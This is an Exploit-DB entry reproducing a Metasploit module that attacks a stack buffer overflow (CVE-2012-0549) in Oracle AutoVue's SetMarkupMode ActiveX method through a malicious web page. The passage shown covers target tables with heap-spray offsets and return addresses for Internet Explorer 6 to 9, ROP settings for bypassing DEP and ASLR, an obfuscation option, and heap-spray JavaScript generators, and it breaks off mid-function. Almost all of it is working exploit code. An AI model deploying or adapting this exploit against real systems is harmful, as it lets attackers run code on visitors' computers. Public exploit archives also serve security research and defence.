Exploit-DB #20297
Description: Oracle AutoVue - ActiveX Control SetMarkupMode Buffer Overflow (Metasploit)
Type: remote
Platform: windows
Date: 2012-08-06
Author: Metasploit

Exploit:
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = NormalRanking

	include Msf::Exploit::Remote::HttpServer::HTML
	include Msf::Exploit::Remote::Seh
	include Msf::Exploit::Remote::BrowserAutopwn

	autopwn_info({
		:ua_name    => HttpClients::IE,
		:ua_minver  => "6.0",
		:ua_maxver  => "9.0",
		:javascript => true,
		:os_name    => OperatingSystems::WINDOWS,
		:classid    => "{B6FCC215-D303-11D1-BC6C-0000C078797F}",
		:method     => "SetMarkupMode",
		:rank       => NormalRanking
	})


	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Oracle AutoVue ActiveX Control SetMarkupMode Buffer Overflow',
			'Description'    => %q{
					This module exploits a vulnerability found in the AutoVue.ocx ActiveX control.
				The vulnerability, due to the insecure usage of an strcpy like function in the
				SetMarkupMode method, when handling a specially crafted sMarkup argument, allows
				to trigger a stack based buffer overflow which leads to code execution under the
				context of the user visiting a malicious web page.

				The module has been successfully tested against Oracle AutoVue Desktop Version
				20.0.0 (AutoVue.ocx 20.0.0.7330) on IE 6, 7, 8 and 9 (Java 6 needed to DEP and
				ASLR bypass).
			},
			'Author'         =>
				[
					'Brian Gorenc', # Vulnerability discovery
					'juan' # Metasploit module
				],
			'License'        => MSF_LICENSE,
			'References'     =>
				[
					[ 'CVE', '2012-0549' ],
					[ 'BID', '53077' ],
					[ 'OSVDB', '81439' ],
					[ 'URL', 'http://dvlabs.tippingpoint.com/advisory/TPTI-12-05' ],
					[ 'URL', 'http://www.oracle.com/technetwork/topics/security/cpuapr2012-366314.html' ]
				],
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'process',

				},
			'Payload'        =>
				{
					'Space' => 948,
					'DisableNops' => true,
				},
			'DefaultOptions'  =>
				{
					'InitialAutoRunScript' => 'migrate -f'
				},
			'Platform' => 'win',
			'Targets'        =>
				[
					# AutoVue.ocx 20.0.0.7330
					[ 'Automatic', {} ],
					[
						'IE 6 on Windows XP SP3',
						{
							'SprayBlocks' => 0x185,
							'SprayCounter' => '0x5f2', # 0x0c0c0c08
							'SprayOffset' => '0x600', # 0x0c0c0c24
							'Offset' => 1052,
							'Ret' => 0x0c0c0c0c,
							'Rop' => nil,
							'RandomHeap' => false
						}
					],
					[
						'IE 7 on Windows XP SP3 / Windows Vista SP2',
						{
							'SprayBlocks' => 0x185,
							'SprayCounter' => '0x5f2', # 0x0c0c0c08
							'SprayOffset' => '0x600', # 0x0c0c0c24
							'Offset' => 1052,
							'Ret' => 0x0c0c0c0c,
							'Rop' => nil,
							'RandomHeap' => false
						}
					],
					[
						'IE 8 with Java 6 on Windows XP SP3/7 SP1/Vista SP2',
						{
							'SprayBlocks' => 0x185,
							'SprayCounter' => '0x5f2', # 0x0c0c0c08
							'SprayStackPivot' => '0x5f6', # 0x0c0c0c10
							'SprayOffset' => '0x5fc', # 0x0c0c0c1c
							'Offset' => 1052,
							'Ret' => 0x0c0c0c0c,
							'Rop' => :jre,
							'RandomHeap' => false,
						}
					],
					[
						'IE 9 with Java 6 on Windows 7 SP1',
						{
							'SprayBlocks' => 0x1000,
							'SprayNops' => '0x5f6', # 0x0c0c0bfc
							'SprayCounter' => '0x5fc', # 0x0c0c0c08
							'SprayStackPivot' => '0x600', # 0x0c0c0c10
							'SprayOffset' => '0x606', # 0x0c0c0c1c
							'Offset' => 1052,
							'Ret' => 0x0c0c0c0c,
							'Rop' => :jre,
							'RandomHeap' => true,
						}
					]
				],
			'Privileged'     => false,
			'DisclosureDate' => 'Apr 18 2012',
			'DefaultTarget'  => 0))

		register_options(
			[
				OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false])
			], self.class
		)

	end

	def get_easy_spray(t, js_code, js_nops, js_counter)

		spray = <<-JS
		var heap_obj = new heapLib.ie(0x20000);
		var code = unescape("#{js_code}");
		var nops = unescape("#{js_nops}");
		var counter = unescape("#{js_counter}");

		while (nops.length < 0x80000) nops += nops;

		var offset = nops.substring(0, #{t['SprayCounter']});
		var offset_2 = nops.substring(0, #{t['SprayOffset']} - offset.length - counter.length);
		var block_used = code.length + offset_2.length + counter.length + offset.length;
		var shellcode = offset + counter + offset_2  + code + nops.substring(0, 0x800 - block_used);

		while (shellcode.length < 0x40000) shellcode += shellcode;
		var block = shellcode.substring(0, (0x80000-6)/2);

		heap_obj.gc();
		for (var z=1; z < #{t['SprayBlocks']}; z++) {
			heap_obj.alloc(block);
		}

		JS

		return spray

	end

	def get_aligned_spray(t, js_code, js_nops, js_counter, js_stack_pivot)

		spray = <<-JS
		var heap_obj = new heapLib.ie(0x20000);
		var code = unescape("#{js_code}");
		var nops = unescape("#{js_nops}");
		var counter = unescape("#{js_counter}");
		var stack_pivot = unescape("#{js_stack_pivot}")

		while (nops.length < 0x80000) nops += nops;

		var offset = nops.substring(0, #{t['SprayCounter']});
		var offset_2 = nops.substring(0, #{t['SprayStackPivot']} - offset.length - counter.length);
		var offset_3 = nops.substring(0, #{t['SprayOffset']} - offset.length - counter.length - offset_2.length - stack_pivot.length);
		var block_used = code.length + offset_3.length + stack_pivot.length + offset_2.length + counter.length + offset.length;
		var shellcode = offset + counter + offset_2  + stack_pivot + offset_3 + code + nops.substring(0, 0x800 - block_used);

		while (shellcode.length < 0x40000) shellcode += shellcode;
		var block = shellcode.substring(0, (0x80000-6)/2);

		heap_obj.gc();
		for (var z=1; z < #{t['SprayBlocks']}; z++) {
			heap_obj.alloc(block);
		}

		JS

		return